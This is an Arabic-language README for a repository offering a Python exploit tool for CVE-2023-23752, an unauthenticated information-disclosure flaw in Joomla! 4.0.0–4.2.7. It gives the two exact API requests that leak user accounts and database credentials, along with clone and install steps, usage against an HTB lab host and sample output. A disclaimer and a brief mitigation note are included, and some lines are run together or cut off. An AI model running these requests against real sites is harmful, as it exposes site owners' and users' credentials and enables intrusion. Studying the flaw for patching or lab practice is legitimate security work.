
نسخة بايثون من استغلال CVE-2023-23752 — كشف معلومات غير مصادق عليه في Joomla! < 4.2.8 (قائمة المستخدمين + تسريب بيانات اعتماد قاعدة البيانات)
⚠️ إخلاء مسؤولية: هذه الأداة مخصّصة للأغراض التعليمية واختبار الاختراق المصرّح به فقط. استخدمها فقط ضد أنظمة تمتلكها أو لديك إذن كتابي صريح لاختبارها. الاستخدام غير المصرّح به غير قانوني.
Joomla! هو أحد أكثر أنظمة إدارة المحتوى (CMS) مفتوحة المصدر استخدامًا على نطاق واسع. تُعرّض الإصدارات 4.0.0 إلى 4.2.7 نقطتي نهاية API دون تحكّم مناسب في الوصول، مما يسمح لمهاجم غير مصادَق باسترجاع معلومات حساسة: حسابات المستخدمين المسجّلين، وفي التهيئات الهشّة، بيانات اعتماد قاعدة بيانات الموقع.
اكتُشفت الثغرة بواسطة Zewei Zhang من مختبر NSFOCUS TIANJI وتم الإبلاغ عنها لمشروع Joomla!، الذي أصدر تصحيحًا في الإصدار 4.2.8. وقد حُصّلت على الترقيم CVE-2023-23752.
يحتوي هذا المستودع على نسخة Python من الاستغلال الأصلي المكتوب بلغة Ruby والذي نشرته ACCEIS.
من المفترض أن تفرض نقاط نهاية خدمة REST API في Joomla تحقّقًا من المصادقة والوصول قبل إرجاع البيانات. في الإصدارات المتأثرة، تفشل نقطتا نهاية في إجراء هذا التحقّق بشكل صحيح عند استدعائهما بمعامل الاستعلام public=true، حيث تعاملان الطلب كما لو كان صادرًا من مستوى وصول "عام" مجهول يفترض أن يُظهر بيانات غير حساسة فقط — ولكن بدلًا من ذلك تتسرّب معلومات داخلية.
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
يقوم السكربت بأتمتة الخطوات التالية:
1. Send GET request to /api/index.php/v1/users?public=true
2. Parse the JSON:API response and extract user records
3. Send GET request to /api/index.php/v1/config/application?public=true
4. Parse the JSON:API response and extract site + database configuration
5. Print both datasets to the console
لا يتطلب الأمر أي مصادقة أو جلسة أو رمز CSRF في أي مرحلة — فالهجوم بأكمله عبارة عن طلبيّ GET غير مصادَقين.
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url Base URL of the target, e.g. http://dev.devvortex.htb
options:
-h, --help show this help message and exit
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/* على مستوى خادم الويب أو جدار الحماية WAF إذا لم يكن الترقية ممكنة فورًا./api/index.php/v1/.| Field | Value |
|---|
| CVE | CVE-2023-23752 |
| Affected | Joomla! 4.0.0 – 4.2.7 |
| Type | تحكّم غير صحيح في الوصول / كشف معلومات |
| Privileges | لا شيء (بدون مصادقة) |
| Impact | كشف حسابات المستخدمين وبيانات اعتماد قاعدة البيانات |
| Patch | Joomla! 4.2.8 (صدر في 2023) |